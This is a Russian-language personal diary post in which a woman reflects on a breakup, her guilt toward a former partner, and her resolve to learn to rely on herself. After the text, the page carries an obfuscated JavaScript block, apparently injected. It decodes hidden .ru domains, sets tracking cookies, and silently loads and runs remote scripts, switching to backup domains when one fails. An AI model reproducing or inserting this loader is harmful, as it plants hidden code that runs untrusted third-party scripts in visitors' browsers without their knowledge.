Не могу быть свободной, если кио-то не держит меня рядом с собой.на свободу мыслей и выбора меня наталкивает лишь кто-то рядом. Кто-то к кому можно придти и уткнуться в плечо в случае неудачи.

Как мы эмоционально ссорились, как эмоционально и дико любили, сталкивались характерами, дурачились, мило друг друга целовали и оберегали. Как жестко дрались, как убивали друг друга, выпивали друг друга до последней капли. Как я плакала из-за тебя, как больно было, но я знала: мы помиримся. Как ты злился, как маленький ребенок истерил. Как обнимали мы друг друга и терлись носами. Как мы вместе готовили, как ходили в магазин в два часа ночи, смотрели кино, ненавидели весь мир вместе. В какой момент мы потухли?
Я опустошена после этих отношений, во мне все закончилось с их концом. Я стала другой, теперь я боюсь. И даже преодолевая себя пыталась идти вперед, но настигла неудача.
Артем, сейчас сильнее всего я хочу уткнуться к тебе в плечо и тихо заплакать и что бы ты так молча меня к себе прижал и.. Простил. Прости меня за все, за мои косяки, за мою взбалмошность. За то как я ушла от тебя. Вот именно сейчас я осознала, как я поступила с тобой до конца и мне стало стыдно.
Именно за то, как я побежала за новыми эмоциями, которые не смогла получить от тебя. Я ведь предала тебя. Я не могу понять в какой момент я тебя разлюбила до сих пор, но ты мне такой родной хоть и тебя нету рядом со мной больше и меня рядом с тобой нету. Я наебалась, ошиблась, лоханулась. Развели как дурочку. Осталась у разбитого корыта. Не знаю как еще это все объяснить.
Прости меня и побудь рядом совсем чуть-чуть а потом мы оба пойдем дальше. Опять как и шли по отдельности последние два месяца.
Всегда я сильная, с характером, умная и все такое. Но с тобой можно было быть маленькой девочкой, плакать если что-то не получается, пробовать и ошибаться. С тобой было можно быть самой слабой. Когда ты начал использовать мою слабость против? Когда ты стал слабее меня? Почему?
В чем была наша проблема? Я не понимаю до сих пор как так произошло и зачем…
Но я так скучаю по тому чувству, что ПСЛИ я ошибусь или что-то не получится, ты обнимешь и прижмешь к себе. И вот сейчас я больше всего бы этого хотела, что бы посто пришел, обнял, выслушал, понял. А завтра… А завтра все по-другому, завтра опять новая жизнь, по прежнему тот новый этап. А завтра у меня в душе опять конец июля и август, окрыляющая влюбленность, такая чистая, не требующая ничего взамен. Как я хочу вернуть то состояние.
Хочу, что бы Тим был тобой. Мли ты частично тимом. Ты надежный, ты - опора, но ты не даешь двигаться вперед, ты держишь рядом на своем уровне. Тим умный, дурачок но умный, выше меня уровнем, с ним тоже можно быть маленькой, он тянет вверх меня.. Но он такой ненадежный, он вроде и любит, но совсем не переживает за меня, как ты переживал. Он крутой. Ты не крутой, но ты такой хороший.
И вас обоих у меня больше нет. А что я без вас? Сама понять не могу.
Я ведь должна понять, кто я без вас всех. Я ведь знакомлюсь с собой, узнаю себя, пытаюсь сама себя научиться поддерживать и жить самой, без чьей либо помощи, быть самодостаточной. А получается что.. Да ничего у меня не получается. Но это сейчас. Я поплачу, поистерю, а завтра встану утром спокойно и вспомню, что я все одна пережила, сама, без чьей либо помощи. Все сама на своих хрупких плечах. Я знаю, я вывезу. Я уверена и сильна. Минута слабости и лирики закончена. Эмоции выплеснуты, я собралась по частям обратно. Лешу пережила же, хоть так тяжело, а иногда ведь и не понимала, зачем я так убивалась по нему. Все проходит и это пройдет. Нужно лишь научиться быть одной, не зависеть от других людей. Ценить все, что у меня есть и не требовать ничего вдобавок. Машенька, обними спбя и засыпай. Ты лучший сама себе друг.

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();